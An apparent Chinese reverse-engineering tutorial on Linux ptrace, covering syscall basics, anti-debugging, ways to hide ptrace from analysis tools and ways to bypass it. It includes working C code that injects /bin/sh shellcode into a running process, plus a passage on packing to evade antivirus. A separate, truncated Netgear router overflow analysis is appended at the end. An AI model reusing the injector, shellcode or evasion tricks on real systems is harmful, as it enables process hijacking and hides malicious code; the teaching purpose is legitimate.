PTRACE_DETACH：解除追踪关系，tracee将继续运行。
其中建立关系时，tracer使用如下方法：
ptrace(PTRACE_ATTACH, pid, 0, 0);
/*或*/
ptrace(PTRACE_SEIZE, pid, 0, PTRACE_O_flags); /*指定追踪选项立即生效*/
因为我们的栗子会用到execl（）系统调用，在此之前我有必要补充一下系统调用这个概念：
#### 系统调用
为了让运行在用户态的程序能访问计算机系统的各种硬件资源，又因为硬件资源有限，而在现代多任务操作系统上同时运行的多个进程都需要访问这些资源，所以为了更好的管理这些资源，所有对这些资源的访问都必须受操作系统控制。而程序访问这些资源，就必须通过系统调用来告诉操作系统我需要访问哪些资源。
在linux中，系统调用是用户态访问内核态的唯一合法方式，除异常和陷入外。
在linux内核中设置了一组用于实现系统功能的子程序，称为系统调用。系统调用和普通库函数调用非常相似，只是系统调用由操作系统核心提供，运行于 **内核态**
，而普通的函数调用由函数库或用户自己提供，运行于 **用户态**
。一般的，进程是不能访问内核的，它不能访问内核所占内存空间也不能调用内核函数，这是由于cpu保护机制所决定的。
应用程序调用内核函数基本原理：应用程序需要通过应用编程接口（api）来实现访问硬件资源功能，而api接口是通过里面封装的系统调用，去调用能实现访问硬件资源功能的相应的内核子程序，关系如下。
一个api功能可能需要很多个系统调用来共同实现，有时候一个api功能实现，也有可能根本不需要用到系统调用，这里把api和系统调用混为一谈。
层层递进，来实现用户态到内核态的转换，系统调用好比一个协调者，来沟通运行在用户态的应用程序和运行在内核态的程序的交互，也就是说，内核只是和系统调用打交道；而我们程序员只需要和相应的api打交道就行，而不用去关心底层的具体系统调用怎么实现，因为api已经把一切细节都封装好了。
在linux下，系统调用是通过0x80实现的，Linux下有319个系统调用，我们来看看系统调用的具体细节：
实际上，Linux中每个系统调用都有相应的系统调用号作为唯一的标识，内核维护一张系统调用表，sys_call_table，表中的元素是系统调用函数的起始地址，而系统调用号就是系统调用在调用表的偏移量，也就是说我们通过系统调用号来调用相应的系统调用，在x86上，系统调用号是通过eax寄存器传递给内核的。比如fork（）的实现。
当然就算是这样，我们运行在用户态的应用程序也无法直接执行内核代码，也不能直接调用内核空间中的函数，因为内核驻留在受保护的地址空间上。所有我们需要一个机制，这个机制就是软中断，首先，用户程序为系统调用设置参数，其中一个参数是系统调用编号，参数设置完成后，程序执行“系统调用”指令，通过软中断切换到内核态执行内核代码。
在x86系统上的软中断由int产生。这个指令会导致一个异常：产生一个事件，这个事件会致使处理器切换到内核态并跳转到一个新的地址，并开始执行那里的异常处理程序，此时的异常处理程序实际上就是系统调用处理程序，它与硬件体系结构紧密相关，新地址的指令会保存程序的状态以便恢复到用户程序状态，计算出应该调用哪个系统调用，调用内核中实现那个系统调用的函数，恢复用户程序状态，然后将控制权返还给用户程序。
>
> 假设用name表示系统调用的名称，那么系统调用号与系统调用响应函数的关系是：以系统调用号`_NR_name`作为下标，可找出系统调用表`sys_call_table`(见`arch/i386/kernel/entry.S`)中对应表项的内容，它正好是该系统调用的响应函数`sys_name`的入口地址。
`execl()`函数对应的系统调用为`__NR_execve`，系统调用值为59。
我们来仔细看看库函数execve调用链：
#### ptrace调试示例：
#include<sys/wait.h>/*引入wait函数的头文件*/
#include<sys/reg.h>/* 对寄存器的常量值进行定义，如Eax，EBX....... */
#include<sys/user.h>/*gdb调试专用文件，里面有定义好的各种数据类型*/
#include<sys/ptrace.h>/*引入prtace头文件*/
#include<unistd.h>/*引入fork函数的头文件*/
#include<sys/syscall.h> /* SYS_write */
#include<stdio.h>
int main() {
pid_t child;/*定义子进程变量*/
long orig_rax;//定义rax寄存器的值的变量
int status;/*定义进程状态变量*/
int iscalling = 0;/*判断是否正在被调用*/
struct user_regs_struct regs;/*定义寄存器结构体数据类型*/
child = fork();/*利用fork函数创建子进程*/
if(child == 0)
{
ptrace(PTRACE_TRACEME, 0, 0);//发送信号给父进程表示已做好准备被跟踪（调试）
execl("/bin/ls", "ls", "-l", "-h", NULL);/*执行命令ls -l -h,注意，这里函数参数必须要要以NULL结尾来终止参数列表*/
}
else
{
while(1)
{
wait(&status);//等待子进程发来信号或者子进程退出
if(WIFEXITED(status))//WIFEXITED函数(宏)用来检查子进程是被ptrace暂停的还是准备退出
{
break;
}
orig_rax = ptrace(PTRACE_PEEKUSER, child, 8 * ORIG_RAX, 0);//获取rax值从而判断将要执行的系统调用号
if(orig_rax == SYS_write)//如果系统调用是write
{
ptrace(PTRACE_GETREGS, child, 0, ®s);
if(!iscalling)
{
iscalling = 1;
printf("SYS_write call with %lld, %lld, %lld\n",regs.rdi, regs.rsi, regs.rdx);//打印出系统调用write的各个参数内容
}
else
{
printf("SYS_write call return %lld\n", regs.rax);//打印出系统调用write函数结果的返回值
iscalling = 0;
}
}
ptrace(PTRACE_SYSCALL, child, 0, 0);//PTRACE_SYSCALL,其作用是使内核在子进程进入和退出系统调用时都将其暂停
//得到处于本次调用之后下次调用之前的状态
}
}
return 0;
}
运行结果如下：
在这个简单的c程序中，我们跟踪了excel()函数的执行状态，并把打印出相应执行中的一些寄存器的值，返回值等，当然这只是ptrace的部分功能，ptrace能做到的事情还有更多，比如还能修改内存，修改寄存器的值，插入字节码实现下断点的功能。
### 2.反调试
我们直接通过攻防来学习ptrace反调试的应用
#### 1.直接使用ptrace函数：
##### 攻防（防）：
进程跟踪器，类似于gdb watch的调试方法， Linux
系统gdb等调试器，都是通过ptrace系统调用实现，ptrace系统调用有一个特性就是当前进程已经被追踪了，就不能被其他父进程追踪，所以只要我们设计的反调试程序开头就先执行一次`ptrace(PTRACE_TRACEME,
0, 0, 0)`，当gdb再想attach的时候就会发现已经执行了一次不能再执行了从而返回-1，就无法调试了。
看一段简单的代码：
#include <sys/ptrace.h>
#include <stdio.h>
int main()
{
if (ptrace(PTRACE_TRACEME, 0, 0, 0) ==-1 )//这里就直接先执行了ptrace(PTRACE_TRACEME, 0, 0, 0)，表示此程序已经被追踪
{
printf("don't trace me！\n");
return 1;
}
printf("no one trace me！\n");
return 0;
}
程序正常的输出结果为：
当我们用gdb调试的时候，将无法调试：
##### 反转：（攻）
那么我们如何来识别prtace反调试，检测程序中是否存在ptrace系统调用，如果我们识别到，我们就很容易通过IDA或者Binary
Ninja把调用prtace地方修改成NOP，就能绕过这种反调试。
通过工具查看程序是否存在反调试，因为prtace是函数的调用，所以我们可以直接查看符号表来确定。
readelf -s helloword//查看.symtab
readelf -S helloword//查看.dynsym
objdump -T hellword//查看.dynsym
objdump -t hellword//查看.symtab
.......其他的查看符号表工具
##### 反转：（防）
我们可以通过删除符号表的选项，来隐藏对ptrace的调用，但只是针对.sysmtab表，不会去掉`.dynsym`
可以用工具strip,也可以在链接阶段使用使用ld的`-s`和`-S`参数，使得连接器生成的输出文件时就不产生符号信息，-s`和`-S`的区别在于`-S`移除调试符号信息，而`-s移除所有符号信息。
同时，我们也可以在GCC中通过`-Wl,-s`和`-Wl,-S`来移除符号信息。
从图可以看到，即使使用strip 移除了符号表项信息，但是仍会保留.dynsym表的表项
###### .symtab和dynsym：
符号表类型 | 说明
---|---
.symtab | 包含大量的信息（包括全局符号global symbols）
.dynsym | 只保留.symtab中的全局符号
在可执行文件中，函数，变量都为符号，而符号表项所对应的就是地址（不牵扯glt，got表），.symtab和.dynsym这两个都是符号表，dynsym是symtab的较小版本，仅包含全局符号，而symtab会保护这个程序所有符号，因此，也可以在symtab中找到在dynsym中所拥有的符号，但是你会有个疑问:可执行文件明明只需要一个symtab就够了，为什么还要dynsym表？
ELF文件包含使用它们的进程在运行时所需的某些部分（例如代码和数据），这些部分被标记为必须的。链接器，调试器和其他此类工具需要其他许多部分，但正在运行的程序不需要这些部分。所以链接器生成ELF文件时，它将所有程序运行所必需的节收集到文件的一部分中，而所有程序运行不必需的节都放在其他位置。当操作系统加载ELF文件时，只有必需的部分被映射到内存中，不需要的部分保留在文件中，不需要的部分不会映射到内存，在内存中不可见。完整的符号表包含链接或调试文件所需的大量数据，而运行时则不需要。实际上，在可共享库和动态链接出现之前的日子里，在运行时不需要它们，所以为了节省运行内存，定义了第二个张表，为“
dynsym”。
因此，ELF文件有两个符号表，symtab包含所有内容，但是它不是程序运行必需的，可以剥离，并且没有运行的副作用，dynsym是不可剥离的，包含支持运行时操作所需的符号。
如果没有作任何处理，ptrace在.dynsym表中，运行时调用时需要进行重定位，所以我们无法删除dynsym表中对应符号表项。但是如果我们在编译时，静态链接库文件，ptrace符号就放在了symtab表中，我们就可以删除掉对应的符号表项了
我们再查看的时候，发现.symtab表没有任何信息！那么就真的意味着我们把ptrace隐藏了吗？
##### 反转：（攻）
但是我们如果使用ida打开的话，在IDA
FLIRT(库文件快速识别与鉴定技术)帮助下，只要找到对应的链接库的版本，生成.sig文件，依然能发现ptrace系统调用!
##### 反转：（防）
如果我们给应用程序加壳的话，在没有脱壳的情况下，那么IDA
FLIRT(库文件快速识别与鉴定技术)也无法分析出来，比如常见的upx之类的加壳程序！最好能加一个猛壳，不仅能反调试，也能过杀毒软件，多香！
##### 反转：（攻）
诸如像upx这样的壳，我们使用PEID之类的工具可以轻松识别，脱壳就行，除非程序本身使用难以解包的自定义加壳程序，这样的猛壳！比较难脱。
##### 反转：（防）
由于静态加载过于笨重了（可执行文件很大），不是长久之计，如果我们使用动态加载这项技术，就可以回到动态加载库文件（文件很小），并且ptrace将不会出现在.symtab和.dynsym表中。
动态加载是指在运行时加载库并检索库函数地址，我们需要dlopen加载库，dlsym解析函数地址，代码如下。
#include<stdlib.h>
#include<stdio.h>
#include<sys/ptrace.h>
#include<dlfcn.h>//Linux动态库的显式调用
#include<string.h>
int main(int argc, char **argv) {
void *handle;//定义句柄指针变量
long (*go)(enum __ptrace_request request, pid_t pid);//定义函数指针变量
//获取包含'ptrace'的库的句柄
handle = dlopen ("/lib/x86_64-linux-gnu/libc.so.6", RTLD_LAZY);
//对动态解析函数“ptrace”的引用,go变量存的是ptrace的地址
go = dlsym(handle, "ptrace");
if (go(PTRACE_TRACEME, 0) < 0) {
puts("being traced");
exit(1);
}
puts("not being traced");
//关闭句柄
dlclose(handle);
return 0;
}
gcc编译时记得加上选项-ldl，不然会报错！实际效果如下
我们会发现，我们实实在在的把ptrace隐藏，而不是直接使用strip删除相应的符号表项。
##### 反转：（攻）
但是我们使用ida打开依然会发现存在字符ptrace，或者直接跳到_rodata去找，因为ptrace是字符串常量，就放在__rodate(只读数据段)
或者直接使用strings字符搜索
##### 反转：（防）
因为我们上一个使用了字符串，字符串是一个常量，常量不可以改变修改，且无法隐藏，那如果我们把ptrace定义为字符数组勒？把ptrace拆分成几个字符串
代码如下：
#include<stdlib.h>
#include<stdio.h>
#include<sys/ptrace.h>
#include<dlfcn.h>//Linux动态库的显式调用
#include<string.h>
int main(int argc, char **argv) {
void *handle;//定义句柄指针变量
long (*go)(enum __ptrace_request request, pid_t pid);//定义函数指针变量
char nice[] = "ptrace";//定义字符串数组
//获取包含'ptrace'的库的句柄
handle = dlopen ("/lib/x86_64-linux-gnu/libc.so.6", RTLD_LAZY);
//对动态解析函数“ptrace”的引用,go变量存的是ptrace的地址
go = dlsym(handle, nice);
if (go(PTRACE_TRACEME, 0) < 0) {//go(PTRACE_TRACEME, 0)相当于ptrace(PTRACE_TRACEME, 0)
puts("being traced");
exit(1);
}
puts("not being traced");
//关闭句柄
dlclose(handle);
return 0;
}
我们使用strings字符搜索将无效
使用IDA打开，也好像没有明显ptrace字符的特征：
##### 反转：（攻）
如果我们用ida中的功能，把汇编代码转换成c语言伪代码昵？
况且，就算ptrace调用隐藏的再好，可执行程序也会导入相应的库文件加载ptrace()，也会泄露出蛛丝马迹！
##### 反转：（防）
前面就说过，ptrace其实是一种系统调用，所以我们可以直接通过系统调用号，以及传入的相应的参数，就能越过库的封装，调用ptrace。
在x86的语法中，’int
0x80’是对32位Linux可执行文件进行系统调用的一种方法。系统调用号码放在EAX寄存器中，而前6个参数分别放在EBX，ECX，EDX，ESI，EDI和EBP中。通过查看系统调用表找到ptrace的系统调用号
**_\_ %eax**** | **_\_ Name**** | **_\_ Source**** | **_\_ %ebx**** | **_\_
%ecx**** | **_\_ %edx**** | **_\_ %esx**** | **_\_ %edi****
---|---|---|---|---|---|---|---
26 | sys_ptrace | arch/i386/kernel/ptrace.c | long | long | long | long | –
编写纯的汇编代码：
global _start
section .data
traced: db "being traced", 0xA
tracedLen equ $-traced
normal: db "not being traced", 0xA
normalLen equ $-normal
section .text
_start:
;calling ptrace
mov ebx, 0x0
mov ecx, 0x0
mov edx, 0x0
mov eax, 0x1a
int 0x80 ; sys_ptrace
cmp eax, 0xFFFFFFFF;把返回值与-1做比较
jz debugger;eax值伪-1就跳转
mov edx, normalLen;正常输出
mov ecx, normal;"not being traced"
xor ebx, ebx
mov bl, 0x1
xor eax, eax
mov al, 0x4
int 0x80 ; sys_write
jmp exit
debugger:
mov edx, tracedLen;被调试的时候输出
mov ecx, traced ;"being traced"
xor ebx, ebx
mov bl, 0x1
xor eax, eax
mov al, 0x4
int 0x80 ; sys_write
exit:
xor eax, eax
mov al, 0x1
xor ebx, ebx
int 0x80 ; sys_exit
或者直接内联汇编到c代码中（正常编译就可以使用）：
#include<stdio.h>
static __always_inline volatile long no_hacker(){
int status =0; //定义返回值变量
//内联汇编代码，系统调用ptrace，把eax寄存器的值赋给status变量
__asm__ volatile("mov $0x0,%%ebx\n\t"
"mov $0x0,%%ecx\n\t"
"mov $0x0,%%edx\n\t"
"mov $0x1a,%%eax\n\t"
"int $0x80\n\t"
:"=a"(status)
:);
return status;//这里把系统的调用的返回值作为no_hacke函数的返回值
}
int main()
{
if (no_hacker()==-1)
{
printf("don't trace me！\n");
return 1;
}
printf("no one trace me！\n");
return 0;
}
纯汇编代码编译运行：
尝试gdb调试
可以用readelf工具查看符号表
可以看到我们彻底脱离了库的范畴，将不会有库的调用特征！
##### 反转:（攻）
但是牛逼的ida依然能给你标注出来？就问你难受不？
其实这里稍微人为分析一下，也可以的，直接查看EAX寄存器的内容，对照系统调用号表，不难看出这是在系统调用ptrace，也有自动化工具，比如有大佬在Binary
Ninja制作了一个插件，这个插件就是专门来查看二进制文件进行了那些系统调用的。
github地址：<https://yellowbyte.github.io/hiding-call-to-ptrace.html>
##### 反转：(防）
引用“Self-Modifying
Code“技术，顾名思义，就是二进制的可执行代码可以在运行时改变自己（代码，数据…….）。意思是说，我们可以让二进制代码在运行时写入系统调用指令，然后再执行它,这样我们就可以隐藏int
0x80的系统调用指令，因为在运行之前，根本就没有此指令,只有执行到特定的指令时，才会显现，起到很好的隐藏效果。
而在ELF文件标志格式中，程序中的代码和数据都是保存在.text
section中的，为了程序的稳定性和安全性，.text在默认编译的时候是可读可执行，但不可以写，所以必须在使用ld工具进行链接的时候得加上-N选项。
纯汇编代码：
global _start
section .data
traced: db "being traced", 0xA
tracedLen equ $-traced
normal: db "not being traced", 0xA
normalLen equ $-normal
section .text
_start:
;显示ptrace
mov edi, systemcall;
mov ax, 0x80cd;“0x80cd”是与系统调用指令“ int 0x80”相对应的操作码
stosw;将AX寄存器的内容存储到EDI寄存器指向的内存中
;calling ptrace
mov ebx, 0x0
mov ecx, 0x0
mov edx, 0x0
mov eax, 0x1a
systemcall:
xor eax, ebx;这条指令将被int 0x80覆盖
cmp eax, 0
jl debugger
mov edx, normalLen;正常输出
mov ecx, normal;"not being traced"
xor ebx, ebx
mov bl, 0x1
xor eax, eax
mov al, 0x4
int 0x80 ; sys_write
jmp exit
debugger:
mov edx, tracedLen;被调试的时候输出
mov ecx, traced ;"being traced"
xor ebx, ebx
mov bl, 0x1
xor eax, eax
mov al, 0x4
int 0x80 ; sys_write
exit:
xor eax, eax
mov al, 0x1
xor ebx, ebx
int 0x80 ; sys_exit
编译运行：
直接用ida打开：
很明显，静态分析工具ida也没有识别出来系统调用！
通过readelf查看.text段的权限：
然后我们用python中的lief库进行重写，把.text section权限重写回来为AX
我们查看新保存的文件new_hacker .text section的权限：
一次很nice的换装就搞定了，当然我这里只是通过纯汇编代码验证可行性，在实际的利用场景众，内联汇编插入代码，可能会有更多的混淆指令什么的，让逆向过程更为艰难！
##### 反转：（攻）
虽然静态分析工具ida已经无法分析出系统调用了，但是这依然挡不住strace动态分析，一些有经验的逆向分析人员一看到0x80cd这样的机器码，可能比工具分析都还要快！
而且发现ptrace并不是只能专注与它本身，就是我一定要找出什么ptrace什么字符串啊，什么的，我们完全可以通过一些共同的特点来，比如ptrace在反调试中，如果遇到调试，就会返回-1，程序退出，我们完全可以跟进exit系统的调用。
### 3.代码注入
ptrace是Unix系列系统的系统调用之一，其主要功能是实现对进程的追踪，对目标进程，进行流程控制，用户寄存器值读取和写入操作，内存进行读取和修改。这样的特性，就非常适合，用于编写实现，远程代码注入到进程。
而大多数病毒也是利用到这个特性，实现自用空间注入，rip位置直接注入，text段与data段之间的空隙注入，而且gdb实现单步调试的原理也是在每条指令后面插入一个int3。
需要知道request几个参数：
> PTRACE_POKETEXT, PTRACE_POKEDATA
> 往内存地址中写入一个字节。内存地址由addr给出。
>
> PTRACE_PEEKTEXT, PTRACE_PEEKDATA
> 从内存地址中读取一个字节，内存地址由addr给出
>
> PTRACE_ATTACH
> 跟踪指定pid 进程
>
> PTRACE_GETREGS
> 读取所有寄存器的值
>
> PTRACE_CONT
>
> 继续执行示被跟踪的子进程，signal为0则忽略引起调试进程中止的信号，若不为0则继续处理信号signal。
>
> PTRACE_SETREGS
> 设置寄存器
>
> PTRACE_DETACH
> 结束跟踪
用ptrace来实现gdb调试原理：
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <asm/ptrace-abi.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
const int long_size = sizeof(long);
/*主要通过PTRACE_PEEKDATA获取内存中的内容*/
void getdata(pid_t child, long addr, char *str, int len)
{
char *backup;
int i, j;
union u{
long val;
char chars[long_size];
}data;
i = 0;
j = len/long_size;
backup = str;
while(i < j) {
data.val = ptrace(PTRACE_PEEKDATA, child, addr + i * 4, NULL);
memcpy(backup,data.chars,long_size);
i++;
backup += long_size;
}
j = len % long_size;
if(j != 0) {
data.val = ptrace(PTRACE_PEEKDATA, child, addr + i * 4, NULL);
memcpy(backup, data.chars, j);
}
}
/*与getdata相反，主要通过PTRACE_POKEDATA向内存写内容*/
void putdata(pid_t child, long addr, char *str, int len)
{
char *code;
int i, j;
union u{
long val;
char chars[long_size];
}data;
i = 0;
j = len / long_size;
code = str;
while(i < j) {
memcpy(data.chars, code, long_size);
ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);/*函数写入是以words为单位的，所以我们我们需要转换成word类型，还需要指针每次增加4。*/
++i;
code += long_size;
}
j = len % long_size;
if(j != 0) {
memcpy(data.chars, code, j);
ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);
}
}
int main(int argc, char *argv[])
{
pid_t traced_process;//实际就是int类型
struct user_regs_struct regs, newregs;//定义数据寄存器数据结构的两个变量，regs，newregs
long ins;
/*
struct user_regs_struct {
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long bp;
unsigned long bx;
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long ax;
unsigned long cx;
unsigned long dx;
unsigned long si;
unsigned long di;
unsigned long orig_ax;
unsigned long ip;
unsigned long cs;
unsigned long flags;
unsigned long sp;
unsigned long ss;
unsigned long fs_base;
unsigned long gs_base;
unsigned long ds;
unsigned long es;
unsigned long fs;
unsigned long gs;
};*/
/* int 0x80, int 3 */
char code[] = {0xcd,0x80,0xcc,0}; //定义字符数组，存的是将要插入的机器码
char backup[4]; //定义接收原内存机器码的字符数组，这里应该和code[]字符数量相对应
traced_process = atoi(argv[1]); //这里把传入的pid转换成int类型
/*attack指定pid进程，traced_process*/
ptrace(PTRACE_ATTACH, traced_process,NULL, NULL);//跟踪pid进程
wait(NULL); //等待系统通知
ptrace(PTRACE_GETREGS, traced_process, NULL, ®s);/*获取目标进程的所有寄存器值，存入regs结构体变量中，为以后恢复原rip,以及各个寄存器的值做准备*/
printf("eip=%lld\n",regs.rip);
getdata(traced_process, regs.rip, backup, 3);/* 将rip指向地址中的机器码备份到backup中*/
putdata(traced_process, regs.rip, code, 3); /* 将int 0x80, int 3指令的机器码写入rip指向内存地址中，int 0x80长度为2，int3长度为1*/
x
/* 让目标进程继续执行并执行我们插入的int 0x80，int 3指令 */
ptrace(PTRACE_CONT, traced_process, NULL, NULL);
wait(NULL);//等待系统通知
printf("This process is attacked by 0xAXSDD! Press <enter> to continue!");
getchar();//捕获一个<enter>输入
putdata(traced_process, regs.rip, backup, 3); /*将backup原指令机器码恢复到原rip指向的地址中*/
ptrace(PTRACE_SETREGS, traced_process, NULL, ®s); /* 让rip指向的内存地址恢复到原本指向的地址，让目标进程继续执行，恢复rip指针 */
ptrace(PTRACE_DETACH, traced_process, NULL, NULL);/* 结束跟踪*/
return 0;
}
源码编译如果使用32位编译，相应rip改成eip，64位编译则不需要改。
测试用例，用个简单的c语言程序（32位编译）:
#include<unistd.h>
#include <stdio.h>
int main()
{
printf("pid=%d\n",getpid());
for(int num=0;num<20;num++)
{
printf("num = %d\n",num);
sleep(2);
}
return 0;
}
当我执行hacker程序的时候，hellword程序将被暂停（记得sudo执行hacker）
这里相当于劫持rip指针，而rip指针指向的地址将是即将执行的指令的地址。
稍微变动一下，直接插入一小段shellcode代码。
我们得明白有这几种情况：
1. 我们可以插入到当前要执行的指令之后，这是最直接的方式但是会破坏原有的目标进程，会导致原来的目标进程的后续功能受到破坏。/ _下面得示例就用的这种方式_ /
2. 我们可以尝试注入代码到main函数地址处，但是有一定的几率是某些初始化的操作是在程序执行之前，因此我们首先需要让程序的正常工作。
3. 另外的选择是使用ELF注入技巧，注入我们的代码，例如在内存中寻找空隙。
4. 最后，我们可以在栈中注入代码，同一般的栈溢出，这是一种安全的方式可以避免破坏原有程序的方式。
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <asm/ptrace-abi.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
const int long_size = sizeof(long);
/*通过PTRACE_POKEDATA向内存写内容*/
void putdata(pid_t child, long addr, char *str, int len)
{
char *code;
int i, j;
union u{
long val;
char chars[long_size];
}data;
i = 0;
j = len / long_size;
code = str;
while(i < j) {
memcpy(data.chars, code, long_size);
ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);
++i;
code += long_size;
}
j = len % long_size;
if(j != 0) {
memcpy(data.chars, code, j);
ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);
}
}
int main(int argc, char *argv[])
{ pid_t traced_process;
struct user_regs_struct regs;
long ins;
int len = 25;
char insertcode[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";//shellcode
traced_process = atoi(argv[1]);
ptrace(PTRACE_ATTACH, traced_process,NULL, NULL);//跟踪进程
wait(NULL);
ptrace(PTRACE_GETREGS, traced_process,NULL, ®s);//当前所有寄存器的值
putdata(traced_process,regs.eip,insertcode, len);//写入shellcode
regs.eip +=2 ;//修改rip的值，指向我们注入的shellcode
ptrace(PTRACE_SETREGS, traced_process, NULL, ®s);//把修改后的寄存器的值写入被跟踪的进程
ptrace(PTRACE_CONT, traced_process,NULL, NULL);//被跟踪的进程继续执行
printf("This process is attacked by 0xAXSDD! Press <enter> to continue!");
ptrace(PTRACE_DETACH, traced_process,NULL, NULL);//结束跟踪
return 0;
}
这里没有恢复到原先执行状态，因为我们直接getshell，不需要再返回到原程序中了。
运行效果截图
## 绕过简单的ptrace
上面谈论到ptrace在隐藏的过程中的攻防博弈，并没有说如何绕过ptrace，接下来我们讲如何绕过ptrace一些手段。
### 1.通过gdb修改eax（64位rax）中的返回值来绕过ptrace
理论依据：像这样的代码
#include <sys/ptrace.h>
#include <stdio.h>
int main()
{
if (ptrace(PTRACE_TRACEME, 0, 0, 0) ==-1 )//这里就直接先执行了ptrace(PTRACE_TRACEME, 0, 0, 0)，表示此程序已经被追踪
{
printf("don't trace me！\n");
return 1;
}
printf("no one trace me！\n");
return 0;
}
我这里编译为64位
通过函数的返回值是否为-1来判断，是否正在被调试，如果我们直接修改ptrace的返回值，就可以绕过判断，ptrace函数执行之后的返回值将会保存在rax寄存器中，所以我们只需要在ptrace函数那里下断点，然后等ptrace函数结束后，利用set
$rax=0指令来设置rax的值，那么就会绕过判断，就能继续调试程序。
演示：
直接sudo gdb hellword3进行gdb调试
然后输入：
catch syscall ptrace
然后c继续执行，第一次暂停是发生在刚开始调用ptrace，然后继续n，n，直到返回到主函数，比较rax的值时候，注意，我们必须得在ptrace执行完成之后，返回到主函数时才更改rax的值
可以看到正常ptrace运行完之后，rax中的值为-1（32位为eax）
输入命令：
set $rax=0
然后继续运行，成功绕过ptrace反调试
### 2.直接通过Binary Ninja查找ptrace调用然后nop替换
直接通过搜索文本，然后找到调用ptrace的地方
直接选中这一行，然后右键，patch然后直接换成nop，就欧克了，然后另存！
### 3.使用LD_PRELOAD来劫持ptrace函数的调用
这里只针对那些动态链接共享库的程序，局限性很大，通过创键本地自定义的伪造库，使用LD_PRELOAD来劫持ptrace调用库为我们自定义的伪造库，这样就起到了狸猫换太子的效果！
用的命令，共享库文件代码
long ptrace(int request, int pid, int addr, int data)
{
return 0;
}
编译成共享库文件，然后LD_PRELOAD劫持
gcc ptrace.c -o ptrace.so -fPIC -shared -ldl -D_GNU_SOURCE
export LD_PRELOAD="/home/hacker/Reverse_debugging/ptrace/ptracE.SO"
其他绕过反调试手法具体程序具体分析，以一变应万变！
完结完结！！！撒花撒花 | 社区文章 |
# Pwn2Own-Netgear-R6700-UPnP漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
6月15日，`ZDI`发布了有关`NETGEAR` `R6700`型号路由器的10个`0
day`的安全公告，其中有2个关于`UPnP`的漏洞：[认证绕过](https://www.zerodayinitiative.com/advisories/ZDI-20-703/)和[缓冲区溢出](https://www.zerodayinitiative.com/advisories/ZDI-20-704/)。通过组合这2个漏洞，在`Pwn2Own
Tokyo 2019`比赛中，来自`Team Flashback`的安全研究员`Pedro Ribeiro`和`Radek
Domanski`成功在`R6700v3`设备上实现代码执行。
6月17日，`NETGEAR`官方发布了[安全公告](https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders)，并针对`R6400v2`和`R6700v3`这2个型号的设备发布了补丁。由于此时还没有这2个漏洞的具体细节，于是打算通过补丁比对的方式对漏洞进行定位和分析。
## 补丁比对
选取`R6400v2`型号作为目标设备，根据`NETGEAR`官方的安全公告，选取`R6400v2-V1.0.4.82`和`R6400v2-V1.0.4.92`两个版本进行比对分析。
>
> 当时`R6400v2-V1.0.4.92`为最新的补丁版本，后来`NETGEAR`官方对安全公告进行了更新，目前最新的补丁版本为`R6400v2-V1.0.4.94`。
由于漏洞与`UPnP`服务有关，于是对`upnpd`程序进行分析，`Bindiff`比对的结果如下。
由图可知，存在差异的重要函数共7个。逐个对函数进行比对和分析，最终定位到`sub_00024D80()`函数中(补丁版本)。
可以看到，在`V1.0.4.92`补丁版本中，在调用`memcpy()`之前增加了一个长度校验，很有可能这里就是漏洞修复点。两个函数对应的伪代码如下，在补丁版本中，除了增加对`memcpy()`长度参数的校验外，`sscanf()`的格式化参数也发生了变化，可能在调用`sscanf()`时就会出现溢出。另外，结合该函数中的字符串`sa_setBlockName`，与`ZDI`漏洞公告中的描述相符，因此猜测这里就是栈溢出漏洞点。
> 为了便于阅读，已对部分函数进行了重命名。
另外，通过补丁比对的方式，暂时未定位到认证绕过漏洞。
## 漏洞利用限制
`upnpd`程序启用的缓解措施如下：仅启用了`NX`机制，同时程序的加载基址为`0x8000`。此外，设备上的`ALSR`等级为1，且`upnpd`程序崩溃后并不会重启。
$ checksec --file ./usr/sbin/upnpd
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
根据上述信息，在无信息泄露的前提下，要想利用漏洞实现任意代码执行，最大的难题是`NULL`字符截断的问题。由于`upnpd`程序中`.text`段地址的最高字节均为`'x00'`，在覆盖返回地址后，后面的payload无法传入，因此只有一次覆盖返回地址的机会。想过尝试利用单次覆盖的机会泄露地址信息，但由于`upnpd`程序崩溃后不会重启，似乎也不可行。在尝试常规思路无果后，于是求助于`Pedro
Ribeiro`，`Pedro Ribeiro`表示不便提前透露，但近期会公布漏洞细节。
> 在其他设备中也遇到过`NULL`字符截断的问题，故对这个漏洞如何利用更感兴趣，暂时未对调用路径进行详细分析。
## 漏洞分析
6月25日，`Pedro
Ribeiro`在`GitHub`上公布了[漏洞细节](https://github.com/pedrib/PoC/blob/da317bbb22abc2c88c8fcad0668cdb94b2ba0a6f/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md)，并告知了我
( 非常感谢:) )。结合`Pedro Ribeiro`的`write up`，加上有了可调试的真实设备，对这两个漏洞的细节有了更进一步的了解。
> 感兴趣的可以去看一下`Pedro Ribeiro`的`write up`，很详细。
### `SOAP`消息
`upnpd`程序会监听`5000/tcp`端口，其主要通过`SOAP`协议来进行数据传输，这两个漏洞存在于对应的`POST`请求中。`SOAP`是一个基于`XML`的协议，一条`SOAP`消息就是一个普通的`XML`文档，其包含`Envelope`、`Header`(可选)、`Body`和`Fault`(可选)等元素。针对该设备，一个`POST`请求示例如下。
// 省略部分内容
POST soap/server_sa/ HTTP/1.1
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
<?xml version="1.0"?>
